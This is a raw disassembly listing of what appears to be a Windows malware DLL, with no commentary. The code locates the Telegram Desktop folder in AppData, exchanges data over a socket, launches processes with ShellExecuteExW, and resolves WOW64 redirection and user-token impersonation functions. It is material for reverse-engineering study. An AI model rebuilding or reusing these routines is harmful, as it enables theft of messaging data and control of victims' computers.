movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x2c], rax
mov dword [rbp - 0x24], eax
lea rax, [0x180053c40]
mov qword [rbp - 0x80], rax
lea rax, [rdi + 1]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x78], r12
mov dword [rbp - 0x60], 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
jmp case.0x180008ad4.14
xor r9d, r9d
lea r8d, [r9 + 0x1a]
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, str.Telegram_Desktop
lea rcx, [rbp + 0x160]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je case.0x180008ad4.14
test al, 0x10
je case.0x180008ad4.14
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r14d, [rax*2 + 3]
movsxd rbx, r14d
mov rcx, rbx
call fcn.18001de28
mov rdi, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.180020550
mov byte [rdi], 0x36
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
add r8, r8
lea rdx, [rbp + 0x160]
lea rcx, [rdi + 1]
call fcn.18001fe80
cmp dword [rsi + 0x18], r12d
jne 0x180009d41
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, r14d
mov rdx, rdi
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.18001ddb8
cmp dword [rsp + 0x5c], 0
je 0x180009def
mov dword [rbp + 0xe0], 0x4e52454b
mov dword [rbp + 0xe4], 0x32334c45
mov dword [rbp + 0xe8], 0x6c6c642e
mov byte [rbp + 0xec], 0
movdqa xmm0, xmmword [str.Wow64RevertWow64Wow64DisableWow6ImpersonateLoggeWTSQueryUserTokeWTSGetActiveCons]
movdqu xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0x110], 0x65527346
mov dword [rbp + 0x114], 0x65726964
mov dword [rbp + 0x118], 0x6f697463
mov word [rbp + 0x11c], WSASetLastError
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180009dd4
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180009def
lea rdx, [rbp + 0x100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180009def
mov rcx, qword [rbp - 0x20]
call rax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.18001d7b0
mov rbx, qword [rsp + 0x518]
add rsp, 0x4c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180024230
int3
call fcn.180024230
nop
lea rcx, str.list_too_long
call fcn.18001c2c0
nop
call fcn.180024230
nop
call fcn.180024230
nop
call fcn.180024230
int3